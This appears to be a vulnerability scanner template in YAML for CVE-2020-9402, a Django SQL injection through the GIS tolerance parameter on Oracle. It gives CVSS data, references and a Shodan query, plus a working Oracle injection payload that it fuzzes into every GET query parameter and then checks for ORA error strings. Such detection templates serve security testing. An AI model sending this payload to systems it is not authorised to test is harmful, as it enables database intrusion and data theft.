id: CVE-2020-9402 info: name: Django SQL Injection author: geeknik,0x_Akoko severity: high description: | Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. remediation: | Upgrade to the latest version. reference: - https://www.debian.org/security/2020/dsa-4705 - https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402 - https://docs.djangoproject.com/en/3.0/releases/security/ - https://nvd.nist.gov/vuln/detail/CVE-2020-9402 - https://groups.google.com/forum/#!topic/django-announce/fLUh_pOaKrY classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-9402 cwe-id: CWE-89 epss-score: 0.84997 epss-percentile: 0.99365 cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:* metadata: vendor: djangoproject product: django shodan-query: cpe:"cpe:2.3:a:djangoproject:django" tags: cve,cve2020,django,sqli,vulhub,djangoproject,vuln,dast variables: oracle_payload: "20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1" http: - pre-condition: - type: dsl dsl: - 'method == "GET"' - 'len(query_params) > 0' fuzzing: - part: query mode: multiple fuzz: - "{{oracle_payload}}" matchers: - type: word words: - "DatabaseError at" - "ORA-29257:" - "ORA-06512:" - "Request Method:" condition: and # digest: 4a0a00473045022100a1b52e6ef7ce4cf82b0d57acfcc9b9bfb7a5acec4d7bf38cb1e4d679c5874fe00220080783fbc8fcd9252320200c93c8068e32a6814fec0aa3db15fdd9e7f4ef37c0:922c64590222798bb761d5b6d8e72950